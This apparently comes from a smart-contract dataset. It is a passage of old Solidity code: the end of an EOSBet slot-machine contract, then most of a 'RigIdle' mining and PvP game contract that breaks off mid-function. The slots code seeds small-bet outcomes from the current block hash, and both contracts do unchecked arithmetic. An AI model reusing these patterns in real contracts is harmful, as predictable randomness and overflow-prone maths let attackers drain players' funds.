event BuyCredits(bytes32 indexed oraclizeQueryId);
event LedgerProofFailed(bytes32 indexed oraclizeQueryId);
event Refund(bytes32 indexed oraclizeQueryId, uint256 amount);
event SlotsLargeBet(bytes32 indexed oraclizeQueryId, uint256 data1, uint256 data2, uint256 data3, uint256 data4, uint256 data5, uint256 data6, uint256 data7, uint256 data8);
event SlotsSmallBet(uint256 data1, uint256 data2, uint256 data3, uint256 data4, uint256 data5, uint256 data6, uint256 data7, uint256 data8);
struct SlotsGameData {
address player;
bool paidOut;
uint256 start;
uint256 etherReceived;
uint8 credits;
}
mapping (bytes32 => SlotsGameData) public slotsData;
uint256 public LIABILITIES;
uint256 public DEVELOPERSFUND;
uint256 public AMOUNTWAGERED;
uint256 public DIALSSPUN;
uint256 public ORACLIZEQUERYMAXTIME;
uint256 public MINBET_forORACLIZE;
uint256 public MINBET;
uint256 public ORACLIZEGASPRICE;
uint256 public INITIALGASFORORACLIZE;
uint16 public MAXWIN_inTHOUSANDTHPERCENTS;
bool public GAMEPAUSED;
bool public REFUNDSACTIVE;
address public OWNER;
address public BANKROLLER;
function EOSBetSlots() public {
oraclize_setProof(proofType_Ledger);
oraclize_setCustomGasPrice(10000000000);
ORACLIZEGASPRICE = 10000000000;
INITIALGASFORORACLIZE = 225000;
AMOUNTWAGERED = 0;
DIALSSPUN = 0;
GAMEPAUSED = false;
REFUNDSACTIVE = true;
ORACLIZEQUERYMAXTIME = 6 hours;
MINBET_forORACLIZE = 350 finney;
MINBET = 1 finney;
MAXWIN_inTHOUSANDTHPERCENTS = 300;
OWNER = msg.sender;
}
function payDevelopersFund(address developer) public {
require(msg.sender == BANKROLLER);
uint256 devFund = DEVELOPERSFUND;
DEVELOPERSFUND = 0;
developer.transfer(devFund);
}
function receivePaymentForOraclize() payable public {
require(msg.sender == BANKROLLER);
}
function getMaxWin() public view returns(uint256){
return (SafeMath.mul(EOSBetBankrollInterface(BANKROLLER).getBankroll(), MAXWIN_inTHOUSANDTHPERCENTS) / 1000);
}
function setBankrollerContractOnce(address bankrollAddress) public {
require(msg.sender == OWNER && BANKROLLER == address(0));
require(EOSBetBankrollInterface(bankrollAddress).getBankroll() != 0);
BANKROLLER = bankrollAddress;
}
function transferOwnership(address newOwner) public {
require(msg.sender == OWNER);
OWNER = newOwner;
}
function setOraclizeQueryMaxTime(uint256 newTime) public {
require(msg.sender == OWNER);
ORACLIZEQUERYMAXTIME = newTime;
}
function setOraclizeQueryGasPrice(uint256 gasPrice) public {
require(msg.sender == OWNER);
ORACLIZEGASPRICE = gasPrice;
oraclize_setCustomGasPrice(gasPrice);
}
function setInitialGasForOraclize(uint256 gasAmt) public {
require(msg.sender == OWNER);
INITIALGASFORORACLIZE = gasAmt;
}
function setGamePaused(bool paused) public {
require(msg.sender == OWNER);
GAMEPAUSED = paused;
}
function setRefundsActive(bool active) public {
require(msg.sender == OWNER);
REFUNDSACTIVE = active;
}
function setMinBetForOraclize(uint256 minBet) public {
require(msg.sender == OWNER);
MINBET_forORACLIZE = minBet;
}
function setMinBet(uint256 minBet) public {
require(msg.sender == OWNER && minBet > 1000);
MINBET = minBet;
}
function setMaxwin(uint16 newMaxWinInThousandthPercents) public {
require(msg.sender == OWNER && newMaxWinInThousandthPercents <= 333);
MAXWIN_inTHOUSANDTHPERCENTS = newMaxWinInThousandthPercents;
}
function emergencySelfDestruct() public {
require(msg.sender == OWNER);
selfdestruct(msg.sender);
}
function refund(bytes32 oraclizeQueryId) public {
SlotsGameData memory data = slotsData[oraclizeQueryId];
require(SafeMath.sub(block.timestamp, data.start) >= ORACLIZEQUERYMAXTIME
&& (msg.sender == OWNER || msg.sender == data.player)
&& (!data.paidOut)
&& data.etherReceived <= LIABILITIES
&& data.etherReceived > 0
&& REFUNDSACTIVE);
slotsData[oraclizeQueryId].paidOut = true;
LIABILITIES = SafeMath.sub(LIABILITIES, data.etherReceived);
data.player.transfer(data.etherReceived);
emit Refund(oraclizeQueryId, data.etherReceived);
}
function play(uint8 credits) public payable {
uint256 betPerCredit = msg.value / credits;
require(!GAMEPAUSED
&& msg.value > 0
&& betPerCredit >= MINBET
&& credits > 0
&& credits <= 224
&& SafeMath.mul(betPerCredit, 5000) <= getMaxWin());
if (betPerCredit < MINBET_forORACLIZE){
bytes32 blockHash = block.blockhash(block.number);
uint256 dialsSpun;
uint8 dial1;
uint8 dial2;
uint8 dial3;
uint256[] memory logsData = new uint256[](8);
uint256 payout;
for (uint8 i = 0; i < credits; i++){
dialsSpun += 1;
dial1 = uint8(uint(keccak256(blockHash, dialsSpun)) % 64);
dialsSpun += 1;
dial2 = uint8(uint(keccak256(blockHash, dialsSpun)) % 64);
dialsSpun += 1;
dial3 = uint8(uint(keccak256(blockHash, dialsSpun)) % 64);
dial1 = getDial1Type(dial1);
dial2 = getDial2Type(dial2);
dial3 = getDial3Type(dial3);
payout += determinePayout(dial1, dial2, dial3);
if (i <= 27){
logsData[0] += uint256(dial1) * uint256(2) ** (3 * ((3 * (27 - i)) + 2));
logsData[0] += uint256(dial2) * uint256(2) ** (3 * ((3 * (27 - i)) + 1));
logsData[0] += uint256(dial3) * uint256(2) ** (3 * ((3 * (27 - i))));
}
else if (i <= 55){
logsData[1] += uint256(dial1) * uint256(2) ** (3 * ((3 * (55 - i)) + 2));
logsData[1] += uint256(dial2) * uint256(2) ** (3 * ((3 * (55 - i)) + 1));
logsData[1] += uint256(dial3) * uint256(2) ** (3 * ((3 * (55 - i))));
}
else if (i <= 83) {
logsData[2] += uint256(dial1) * uint256(2) ** (3 * ((3 * (83 - i)) + 2));
logsData[2] += uint256(dial2) * uint256(2) ** (3 * ((3 * (83 - i)) + 1));
logsData[2] += uint256(dial3) * uint256(2) ** (3 * ((3 * (83 - i))));
}
else if (i <= 111) {
logsData[3] += uint256(dial1) * uint256(2) ** (3 * ((3 * (111 - i)) + 2));
logsData[3] += uint256(dial2) * uint256(2) ** (3 * ((3 * (111 - i)) + 1));
logsData[3] += uint256(dial3) * uint256(2) ** (3 * ((3 * (111 - i))));
}
else if (i <= 139){
logsData[4] += uint256(dial1) * uint256(2) ** (3 * ((3 * (139 - i)) + 2));
logsData[4] += uint256(dial2) * uint256(2) ** (3 * ((3 * (139 - i)) + 1));
logsData[4] += uint256(dial3) * uint256(2) ** (3 * ((3 * (139 - i))));
}
else if (i <= 167){
logsData[5] += uint256(dial1) * uint256(2) ** (3 * ((3 * (167 - i)) + 2));
logsData[5] += uint256(dial2) * uint256(2) ** (3 * ((3 * (167 - i)) + 1));
logsData[5] += uint256(dial3) * uint256(2) ** (3 * ((3 * (167 - i))));
}
else if (i <= 195){
logsData[6] += uint256(dial1) * uint256(2) ** (3 * ((3 * (195 - i)) + 2));
logsData[6] += uint256(dial2) * uint256(2) ** (3 * ((3 * (195 - i)) + 1));
logsData[6] += uint256(dial3) * uint256(2) ** (3 * ((3 * (195 - i))));
}
else {
logsData[7] += uint256(dial1) * uint256(2) ** (3 * ((3 * (223 - i)) + 2));
logsData[7] += uint256(dial2) * uint256(2) ** (3 * ((3 * (223 - i)) + 1));
logsData[7] += uint256(dial3) * uint256(2) ** (3 * ((3 * (223 - i))));
}
}
DIALSSPUN += dialsSpun;
AMOUNTWAGERED = SafeMath.add(AMOUNTWAGERED, msg.value);
uint256 developersCut = msg.value / 100;
DEVELOPERSFUND = SafeMath.add(DEVELOPERSFUND, developersCut);
EOSBetBankrollInterface(BANKROLLER).receiveEtherFromGameAddress.value(SafeMath.sub(msg.value, developersCut))();
uint256 etherPaidout = SafeMath.mul(betPerCredit, payout);
EOSBetBankrollInterface(BANKROLLER).payEtherToWinner(etherPaidout, msg.sender);
emit SlotsSmallBet(logsData[0], logsData[1], logsData[2], logsData[3], logsData[4], logsData[5], logsData[6], logsData[7]);
}
else {
bytes32 oraclizeQueryId;
uint256 gasToSend = INITIALGASFORORACLIZE + (uint256(3270) * credits);
EOSBetBankrollInterface(BANKROLLER).payOraclize(oraclize_getPrice('random', gasToSend));
oraclizeQueryId = oraclize_newRandomDSQuery(0, 30, gasToSend);
slotsData[oraclizeQueryId] = SlotsGameData({
player : msg.sender,
paidOut : false,
start : block.timestamp,
etherReceived : msg.value,
credits : credits
});
LIABILITIES = SafeMath.add(LIABILITIES, msg.value);
emit BuyCredits(oraclizeQueryId);
}
}
function __callback(bytes32 _queryId, string _result, bytes _proof) public {
SlotsGameData memory data = slotsData[_queryId];
require(msg.sender == oraclize_cbAddress()
&& !data.paidOut
&& data.player != address(0)
&& LIABILITIES >= data.etherReceived);
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0){
if (REFUNDSACTIVE){
slotsData[_queryId].paidOut = true;
LIABILITIES = SafeMath.sub(LIABILITIES, data.etherReceived);
data.player.transfer(data.etherReceived);
emit Refund(_queryId, data.etherReceived);
}
emit LedgerProofFailed(_queryId);
}
else {
uint256 dialsSpun;
uint8 dial1;
uint8 dial2;
uint8 dial3;
uint256[] memory logsData = new uint256[](8);
uint256 payout;
for (uint8 i = 0; i < data.credits; i++){
dialsSpun += 1;
dial1 = uint8(uint(keccak256(_result, dialsSpun)) % 64);
dialsSpun += 1;
dial2 = uint8(uint(keccak256(_result, dialsSpun)) % 64);
dialsSpun += 1;
dial3 = uint8(uint(keccak256(_result, dialsSpun)) % 64);
dial1 = getDial1Type(dial1);
dial2 = getDial2Type(dial2);
dial3 = getDial3Type(dial3);
payout += determinePayout(dial1, dial2, dial3);
if (i <= 27){
logsData[0] += uint256(dial1) * uint256(2) ** (3 * ((3 * (27 - i)) + 2));
logsData[0] += uint256(dial2) * uint256(2) ** (3 * ((3 * (27 - i)) + 1));
logsData[0] += uint256(dial3) * uint256(2) ** (3 * ((3 * (27 - i))));
}
else if (i <= 55){
logsData[1] += uint256(dial1) * uint256(2) ** (3 * ((3 * (55 - i)) + 2));
logsData[1] += uint256(dial2) * uint256(2) ** (3 * ((3 * (55 - i)) + 1));
logsData[1] += uint256(dial3) * uint256(2) ** (3 * ((3 * (55 - i))));
}
else if (i <= 83) {
logsData[2] += uint256(dial1) * uint256(2) ** (3 * ((3 * (83 - i)) + 2));
logsData[2] += uint256(dial2) * uint256(2) ** (3 * ((3 * (83 - i)) + 1));
logsData[2] += uint256(dial3) * uint256(2) ** (3 * ((3 * (83 - i))));
}
else if (i <= 111) {
logsData[3] += uint256(dial1) * uint256(2) ** (3 * ((3 * (111 - i)) + 2));
logsData[3] += uint256(dial2) * uint256(2) ** (3 * ((3 * (111 - i)) + 1));
logsData[3] += uint256(dial3) * uint256(2) ** (3 * ((3 * (111 - i))));
}
else if (i <= 139){
logsData[4] += uint256(dial1) * uint256(2) ** (3 * ((3 * (139 - i)) + 2));
logsData[4] += uint256(dial2) * uint256(2) ** (3 * ((3 * (139 - i)) + 1));
logsData[4] += uint256(dial3) * uint256(2) ** (3 * ((3 * (139 - i))));
}
else if (i <= 167){
logsData[5] += uint256(dial1) * uint256(2) ** (3 * ((3 * (167 - i)) + 2));
logsData[5] += uint256(dial2) * uint256(2) ** (3 * ((3 * (167 - i)) + 1));
logsData[5] += uint256(dial3) * uint256(2) ** (3 * ((3 * (167 - i))));
}
else if (i <= 195){
logsData[6] += uint256(dial1) * uint256(2) ** (3 * ((3 * (195 - i)) + 2));
logsData[6] += uint256(dial2) * uint256(2) ** (3 * ((3 * (195 - i)) + 1));
logsData[6] += uint256(dial3) * uint256(2) ** (3 * ((3 * (195 - i))));
}
else if (i <= 223){
logsData[7] += uint256(dial1) * uint256(2) ** (3 * ((3 * (223 - i)) + 2));
logsData[7] += uint256(dial2) * uint256(2) ** (3 * ((3 * (223 - i)) + 1));
logsData[7] += uint256(dial3) * uint256(2) ** (3 * ((3 * (223 - i))));
}
}
DIALSSPUN += dialsSpun;
AMOUNTWAGERED = SafeMath.add(AMOUNTWAGERED, data.etherReceived);
slotsData[_queryId].paidOut = true;
LIABILITIES = SafeMath.sub(LIABILITIES, data.etherReceived);
uint256 developersCut = data.etherReceived / 100;
DEVELOPERSFUND = SafeMath.add(DEVELOPERSFUND, developersCut);
EOSBetBankrollInterface(BANKROLLER).receiveEtherFromGameAddress.value(SafeMath.sub(data.etherReceived, developersCut))();
uint256 etherPaidout = SafeMath.mul((data.etherReceived / data.credits), payout);
EOSBetBankrollInterface(BANKROLLER).payEtherToWinner(etherPaidout, data.player);
emit SlotsLargeBet(_queryId, logsData[0], logsData[1], logsData[2], logsData[3], logsData[4], logsData[5], logsData[6], logsData[7]);
}
}
function getDial1Type(uint8 dial1Location) internal pure returns(uint8) {
if (dial1Location == 0) { return 0; }
else if (dial1Location >= 1 && dial1Location <= 7) { return 1; }
else if (dial1Location == 8) { return 2; }
else if (dial1Location >= 9 && dial1Location <= 13) { return 3; }
else if (dial1Location >= 14 && dial1Location <= 22) { return 4; }
else if (dial1Location >= 23 && dial1Location <= 31) { return 5; }
else { return 6; }
}
function getDial2Type(uint8 dial2Location) internal pure returns(uint8) {
if (dial2Location >= 0 && dial2Location <= 2) { return 0; }
else if (dial2Location == 3) { return 1; }
else if (dial2Location >= 4 && dial2Location <= 10) { return 2; }
else if (dial2Location >= 11 && dial2Location <= 17) { return 3; }
else if (dial2Location >= 18 && dial2Location <= 23) { return 4; }
else if (dial2Location >= 24 && dial2Location <= 31) { return 5; }
else { return 6; }
}
function getDial3Type(uint8 dial3Location) internal pure returns(uint8) {
if (dial3Location == 0) { return 0; }
else if (dial3Location >= 1 && dial3Location <= 6) { return 1; }
else if (dial3Location >= 7 && dial3Location <= 12) { return 2; }
else if (dial3Location >= 13 && dial3Location <= 18) { return 3; }
else if (dial3Location >= 19 && dial3Location <= 25) { return 4; }
else if (dial3Location >= 26 && dial3Location <= 31) { return 5; }
else { return 6; }
}
function determinePayout(uint8 dial1, uint8 dial2, uint8 dial3) internal pure returns(uint256) {
if (dial1 == 6 || dial2 == 6 || dial3 == 6){
if (dial1 == 6 && dial2 == 6 && dial3 == 6)
return 1;
}
else if (dial1 == 5){
if (dial2 == 4 && dial3 == 3)
return 90;
else if (dial2 == 3 && dial3 == 4)
return 20;
else if (dial2 == 5 && dial3 == 5)
return 10;
else if (dial2 >= 3 && dial2 <= 5 && dial3 >= 3 && dial3 <= 5)
return 3;
else if ((dial2 == 2 || dial2 == 5) && (dial3 == 2 || dial3 == 5))
return 2;
}
else if (dial1 == 4){
if (dial2 == 4 && dial3 == 4)
return 25;
else if ((dial2 == 3 && dial3 == 5) || (dial2 == 5 && dial3 == 3))
return 20;
else if (dial2 >= 3 && dial2 <= 5 && dial3 >= 3 && dial3 <= 5)
return 3;
else if ((dial2 == 1 || dial2 == 4) && (dial3 == 1 || dial3 == 4))
return 2;
}
else if (dial1 == 3){
if (dial2 == 3 && dial3 == 3)
return 50;
else if ((dial2 == 4 && dial3 == 5) || (dial2 == 5 && dial3 == 4))
return 20;
else if (dial2 >= 3 && dial2 <= 5 && dial3 >= 3 && dial3 <= 5)
return 3;
else if ((dial2 == 0 || dial2 == 3) && (dial3 == 0 || dial3 == 3))
return 3;
}
else if (dial1 == 2){
if (dial2 == 1 && dial3 == 0)
return 5000;
else if (dial2 == 2 && dial3 == 2)
return 250;
else if (dial2 >= 0 && dial2 <= 2 && dial3 >= 0 && dial3 <= 2)
return 95;
else if ((dial2 == 2 || dial2 == 5) && (dial3 == 2 || dial3 == 5))
return 2;
}
else if (dial1 == 1){
if (dial2 == 1 && dial3 == 1)
return 250;
else if (dial2 >= 0 && dial2 <= 2 && dial3 >= 0 && dial3 <= 2)
return 95;
else if ((dial2 == 1 || dial2 == 4) && (dial3 == 1 || dial3 == 4))
return 3;
}
else if (dial1 == 0){
if (dial2 == 0 && dial3 == 0)
return 1777;
else if (dial2 >= 0 && dial2 <= 2 && dial3 >= 0 && dial3 <= 2)
return 95;
else if ((dial2 == 0 || dial2 == 3) && (dial3 == 0 || dial3 == 3))
return 3;
}
return 0;
}
} | 0 | 680 |
pragma solidity ^0.4.18;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
}
library NumericSequence
{
using SafeMath for uint256;
function sumOfN(uint256 basePrice, uint256 pricePerLevel, uint256 owned, uint256 count) internal pure returns (uint256 price)
{
require(count > 0);
price = 0;
price += SafeMath.mul((basePrice + pricePerLevel * owned), count);
price += pricePerLevel * (count.mul((count-1))) / 2;
}
}
contract RigIdle {
using NumericSequence for uint;
using SafeMath for uint;
struct MinerData
{
uint256[9] rigs;
uint8[3] hasUpgrade;
uint256 money;
uint256 lastUpdateTime;
uint256 premamentMineBonusPct;
uint256 unclaimedPot;
uint256 lastPotClaimIndex;
}
struct RigData
{
uint256 basePrice;
uint256 baseOutput;
uint256 pricePerLevel;
uint256 priceInETH;
uint256 limit;
}
struct BoostData
{
uint256 percentBonus;
uint256 priceInWEI;
}
struct PVPData
{
uint256[6] troops;
uint256 immunityTime;
uint256 exhaustTime;
}
struct TroopData
{
uint256 attackPower;
uint256 defensePower;
uint256 priceGold;
uint256 priceETH;
}
uint8 private constant NUMBER_OF_RIG_TYPES = 9;
RigData[9] private rigData;
uint8 private constant NUMBER_OF_UPGRADES = 3;
BoostData[3] private boostData;
uint8 private constant NUMBER_OF_TROOPS = 6;
uint8 private constant ATTACKER_START_IDX = 0;
uint8 private constant ATTACKER_END_IDX = 3;
uint8 private constant DEFENDER_START_IDX = 3;
uint8 private constant DEFENDER_END_IDX = 6;
TroopData[6] private troopData;
uint256 private honeyPotAmount;
uint256 private honeyPotSharePct;
uint256 private jackPot;
uint256 private devFund;
uint256 private nextPotDistributionTime;
mapping(address => mapping(uint256 => uint256)) private minerICOPerCycle;
uint256[] private honeyPotPerCycle;
uint256[] private globalICOPerCycle;
uint256 private cycleCount;
uint256 private constant NUMBER_OF_BOOSTERS = 5;
uint256 private boosterIndex;
uint256 private nextBoosterPrice;
address[5] private boosterHolders;
mapping(address => MinerData) private miners;
mapping(address => PVPData) private pvpMap;
mapping(uint256 => address) private indexes;
uint256 private topindex;
address private owner;
function RigIdle() public {
owner = msg.sender;
rigData[0] = RigData(128, 1, 64, 0, 64);
rigData[1] = RigData(1024, 64, 512, 0, 64);
rigData[2] = RigData(204800, 1024, 102400, 0, 128);
rigData[3] = RigData(25600000, 8192, 12800000, 0, 128);
rigData[4] = RigData(30000000000, 65536, 30000000000, 0.01 ether, 256);
rigData[5] = RigData(30000000000, 100000, 10000000000, 0, 256);
rigData[6] = RigData(300000000000, 500000, 100000000000, 0, 256);
rigData[7] = RigData(50000000000000, 3000000, 12500000000000, 0.1 ether, 256);
rigData[8] = RigData(100000000000000, 30000000, 50000000000000, 0, 256);
boostData[0] = BoostData(30, 0.01 ether);
boostData[1] = BoostData(50, 0.1 ether);
boostData[2] = BoostData(100, 1 ether);
topindex = 0;
honeyPotAmount = 0;
devFund = 0;
jackPot = 0;
nextPotDistributionTime = block.timestamp;
honeyPotSharePct = 90;
boosterHolders[0] = owner;
boosterHolders[1] = owner;
boosterHolders[2] = owner;
boosterHolders[3] = owner;
boosterHolders[4] = owner;
boosterIndex = 0;
nextBoosterPrice = 0.1 ether;
troopData[0] = TroopData(10, 0, 100000, 0);
troopData[1] = TroopData(1000, 0, 80000000, 0);
troopData[2] = TroopData(100000, 0, 0, 0.01 ether);
troopData[3] = TroopData(0, 15, 100000, 0);
troopData[4] = TroopData(0, 1500, 80000000, 0);
troopData[5] = TroopData(0, 150000, 0, 0.01 ether);
honeyPotPerCycle.push(0);
globalICOPerCycle.push(1);
cycleCount = 0;
}
function GetMinerData(address minerAddr) public constant returns
(uint256 money, uint256 lastupdate, uint256 prodPerSec,
uint256[9] rigs, uint[3] upgrades, uint256 unclaimedPot, bool hasBooster, uint256 unconfirmedMoney)
{
uint8 i = 0;
money = miners[minerAddr].money;
lastupdate = miners[minerAddr].lastUpdateTime;
prodPerSec = GetProductionPerSecond(minerAddr);
for(i = 0; i < NUMBER_OF_RIG_TYPES; ++i)
{
rigs[i] = miners[minerAddr].rigs[i];
}
for(i = 0; i < NUMBER_OF_UPGRADES; ++i)
{
upgrades[i] = miners[minerAddr].hasUpgrade[i];
}
unclaimedPot = miners[minerAddr].unclaimedPot;
hasBooster = HasBooster(minerAddr);
unconfirmedMoney = money + (prodPerSec * (now - lastupdate));
}
function GetTotalMinerCount() public constant returns (uint256 count)
{
count = topindex;
}
function GetMinerAt(uint256 idx) public constant returns (address minerAddr)
{
require(idx < topindex);
minerAddr = indexes[idx];
}
function GetPotInfo() public constant returns (uint256 _honeyPotAmount, uint256 _devFunds, uint256 _jackPot, uint256 _nextDistributionTime)
{
_honeyPotAmount = honeyPotAmount;
_devFunds = devFund;
_jackPot = jackPot;
_nextDistributionTime = nextPotDistributionTime;
}
function GetProductionPerSecond(address minerAddr) public constant returns (uint256 personalProduction)
{
MinerData storage m = miners[minerAddr];
personalProduction = 0;
uint256 productionSpeed = 100 + m.premamentMineBonusPct;
if(HasBooster(minerAddr))
productionSpeed += 500;
for(uint8 j = 0; j < NUMBER_OF_RIG_TYPES; ++j)
{
personalProduction += m.rigs[j] * rigData[j].baseOutput;
}
personalProduction = personalProduction * productionSpeed / 100;
}
function GetGlobalProduction() public constant returns (uint256 globalMoney, uint256 globalHashRate)
{
globalMoney = 0;
globalHashRate = 0;
uint i = 0;
for(i = 0; i < topindex; ++i)
{
MinerData storage m = miners[indexes[i]];
globalMoney += m.money;
globalHashRate += GetProductionPerSecond(indexes[i]);
}
}
function GetBoosterData() public constant returns (address[5] _boosterHolders, uint256 currentPrice, uint256 currentIndex)
{
for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i)
{
_boosterHolders[i] = boosterHolders[i];
}
currentPrice = nextBoosterPrice;
currentIndex = boosterIndex;
}
function HasBooster(address addr) public constant returns (bool hasBoost)
{
for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i)
{
if(boosterHolders[i] == addr)
return true;
}
return false;
}
function GetPVPData(address addr) public constant returns (uint256 attackpower, uint256 defensepower, uint256 immunityTime, uint256 exhaustTime,
uint256[6] troops)
{
PVPData storage a = pvpMap[addr];
immunityTime = a.immunityTime;
exhaustTime = a.exhaustTime;
attackpower = 0;
defensepower = 0;
for(uint i = 0; i < NUMBER_OF_TROOPS; ++i)
{
attackpower += a.troops[i] * troopData[i].attackPower;
defensepower += a.troops[i] * troopData[i].defensePower;
troops[i] = a.troops[i];
}
}
function GetCurrentICOCycle() public constant returns (uint256)
{
return cycleCount;
}
function GetICOData(uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOPot)
{
require(idx <= cycleCount);
ICOFund = globalICOPerCycle[idx];
if(idx < cycleCount)
{
ICOPot = honeyPotPerCycle[idx];
} else
{
ICOPot = honeyPotAmount / 5;
}
}
function GetMinerICOData(address miner, uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOShare, uint256 lastClaimIndex)
{
require(idx <= cycleCount);
ICOFund = minerICOPerCycle[miner][idx];
if(idx < cycleCount)
{
ICOShare = (honeyPotPerCycle[idx] * minerICOPerCycle[miner][idx]) / globalICOPerCycle[idx];
} else
{
ICOShare = (honeyPotAmount / 5) * minerICOPerCycle[miner][idx] / globalICOPerCycle[idx];
}
lastClaimIndex = miners[miner].lastPotClaimIndex;
}
function GetMinerUnclaimedICOShare(address miner) public constant returns (uint256 unclaimedPot)
{
MinerData storage m = miners[miner];
require(m.lastUpdateTime != 0);
require(m.lastPotClaimIndex < cycleCount);
uint256 i = m.lastPotClaimIndex;
uint256 limit = cycleCount;
if((limit - i) > 30)
limit = i + 30;
unclaimedPot = 0;
for(; i < cycleCount; ++i)
{
if(minerICOPerCycle[msg.sender][i] > 0)
unclaimedPot += (honeyPotPerCycle[i] * minerICOPerCycle[miner][i]) / globalICOPerCycle[i];
}
}
function StartNewMiner() external
{
require(miners[msg.sender].lastUpdateTime == 0);
miners[msg.sender].lastUpdateTime = block.timestamp;
miners[msg.sender].money = 0;
miners[msg.sender].rigs[0] = 1;
miners[msg.sender].unclaimedPot = 0;
miners[msg.sender].lastPotClaimIndex = cycleCount;
pvpMap[msg.sender].immunityTime = block.timestamp + 28800;
pvpMap[msg.sender].exhaustTime = block.timestamp;
indexes[topindex] = msg.sender;
++topindex;
}
function UpgradeRig(uint8 rigIdx, uint16 count) external
{
require(rigIdx < NUMBER_OF_RIG_TYPES);
require(count > 0);
require(count <= 256);
MinerData storage m = miners[msg.sender];
require(rigData[rigIdx].limit >= (m.rigs[rigIdx] + count));
UpdateMoney();
uint256 price = NumericSequence.sumOfN(rigData[rigIdx].basePrice, rigData[rigIdx].pricePerLevel, m.rigs[rigIdx], count);
require(m.money >= price);
m.rigs[rigIdx] = m.rigs[rigIdx] + count;
if(m.rigs[rigIdx] > rigData[rigIdx].limit)
m.rigs[rigIdx] = rigData[rigIdx].limit;
m.money -= price;
}
function UpgradeRigETH(uint8 rigIdx, uint256 count) external payable
{
require(rigIdx < NUMBER_OF_RIG_TYPES);
require(count > 0);
require(count <= 256);
require(rigData[rigIdx].priceInETH > 0);
MinerData storage m = miners[msg.sender];
require(rigData[rigIdx].limit >= (m.rigs[rigIdx] + count));
uint256 price = (rigData[rigIdx].priceInETH).mul(count);
require(msg.value >= price);
BuyHandler(msg.value);
UpdateMoney();
m.rigs[rigIdx] = m.rigs[rigIdx] + count;
if(m.rigs[rigIdx] > rigData[rigIdx].limit)
m.rigs[rigIdx] = rigData[rigIdx].limit;
}
function UpdateMoney() private
{
require(miners[msg.sender].lastUpdateTime != 0);
require(block.timestamp >= miners[msg.sender].lastUpdateTime);
MinerData storage m = miners[msg.sender];
uint256 diff = block.timestamp - m.lastUpdateTime;
uint256 revenue = GetProductionPerSecond(msg.sender);
m.lastUpdateTime = block.timestamp;
if(revenue > 0)
{
revenue *= diff;
m.money += revenue;
}
}
function UpdateMoneyAt(address addr) private
{
require(miners[addr].lastUpdateTime != 0);
require(block.timestamp >= miners[addr].lastUpdateTime);
MinerData storage m = miners[addr];
uint256 diff = block.timestamp - m.lastUpdateTime;
uint256 revenue = GetProductionPerSecond(addr);
m.lastUpdateTime = block.timestamp;
if(revenue > 0)
{
revenue *= diff;
m.money += revenue;
}
}
function BuyUpgrade(uint256 idx) external payable
{
require(idx < NUMBER_OF_UPGRADES);
require(msg.value >= boostData[idx].priceInWEI);
require(miners[msg.sender].hasUpgrade[idx] == 0);
require(miners[msg.sender].lastUpdateTime != 0);
BuyHandler(msg.value);
UpdateMoney();
miners[msg.sender].hasUpgrade[idx] = 1;
miners[msg.sender].premamentMineBonusPct += boostData[idx].percentBonus;
}
function BuyBooster() external payable
{
require(msg.value >= nextBoosterPrice);
require(miners[msg.sender].lastUpdateTime != 0);
for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i)
if(boosterHolders[i] == msg.sender)
revert();
address beneficiary = boosterHolders[boosterIndex];
MinerData storage m = miners[beneficiary];
m.unclaimedPot += (msg.value * 9403) / 10000;
honeyPotAmount += (msg.value * 597) / 20000;
devFund += (msg.value * 597) / 20000;
nextBoosterPrice += nextBoosterPrice / 20;
UpdateMoney();
UpdateMoneyAt(beneficiary);
boosterHolders[boosterIndex] = msg.sender;
boosterIndex += 1;
if(boosterIndex >= 5)
boosterIndex = 0;
}
function BuyTroop(uint256 idx, uint256 count) external payable
{
require(idx < NUMBER_OF_TROOPS);
require(count > 0);
require(count <= 1000);
PVPData storage pvp = pvpMap[msg.sender];
MinerData storage m = miners[msg.sender];
uint256 owned = pvp.troops[idx];
uint256 priceGold = NumericSequence.sumOfN(troopData[idx].priceGold, troopData[idx].priceGold, owned, count);
uint256 priceETH = (troopData[idx].priceETH).mul(count);
UpdateMoney();
require(m.money >= priceGold);
require(msg.value >= priceETH);
if(priceGold > 0)
m.money -= priceGold;
if(msg.value > 0)
BuyHandler(msg.value);
pvp.troops[idx] += count;
}
function Attack(address defenderAddr) external
{
require(msg.sender != defenderAddr);
require(miners[msg.sender].lastUpdateTime != 0);
require(miners[defenderAddr].lastUpdateTime != 0);
PVPData storage attacker = pvpMap[msg.sender];
PVPData storage defender = pvpMap[defenderAddr];
uint i = 0;
uint256 count = 0;
require(block.timestamp > attacker.exhaustTime);
require(block.timestamp > defender.immunityTime);
if(attacker.immunityTime > block.timestamp)
attacker.immunityTime = block.timestamp - 1;
attacker.exhaustTime = block.timestamp + 7200;
uint256 attackpower = 0;
uint256 defensepower = 0;
for(i = 0; i < ATTACKER_END_IDX; ++i)
{
attackpower += attacker.troops[i] * troopData[i].attackPower;
defensepower += defender.troops[i + DEFENDER_START_IDX] * troopData[i + DEFENDER_START_IDX].defensePower;
}
if(attackpower > defensepower)
{
if(defender.immunityTime < block.timestamp + 14400)
defender.immunityTime = block.timestamp + 14400;
UpdateMoneyAt(defenderAddr);
MinerData storage m = miners[defenderAddr];
MinerData storage m2 = miners[msg.sender];
uint256 moneyStolen = m.money / 2;
for(i = DEFENDER_START_IDX; i < DEFENDER_END_IDX; ++i)
{
defender.troops[i] = 0;
}
for(i = ATTACKER_START_IDX; i < ATTACKER_END_IDX; ++i)
{
if(troopData[i].attackPower > 0)
{
count = attacker.troops[i];
if((count * troopData[i].attackPower) > defensepower)
count = defensepower / troopData[i].attackPower;
attacker.troops[i] -= count;
defensepower -= count * troopData[i].attackPower;
}
}
m.money -= moneyStolen;
m2.money += moneyStolen;
} else
{
for(i = ATTACKER_START_IDX; i < ATTACKER_END_IDX; ++i)
{
attacker.troops[i] = 0;
}
for(i = DEFENDER_START_IDX; i < DEFENDER_END_IDX; ++i)
{
if(troopData[i].defensePower > 0)
{
count = defender.troops[i];
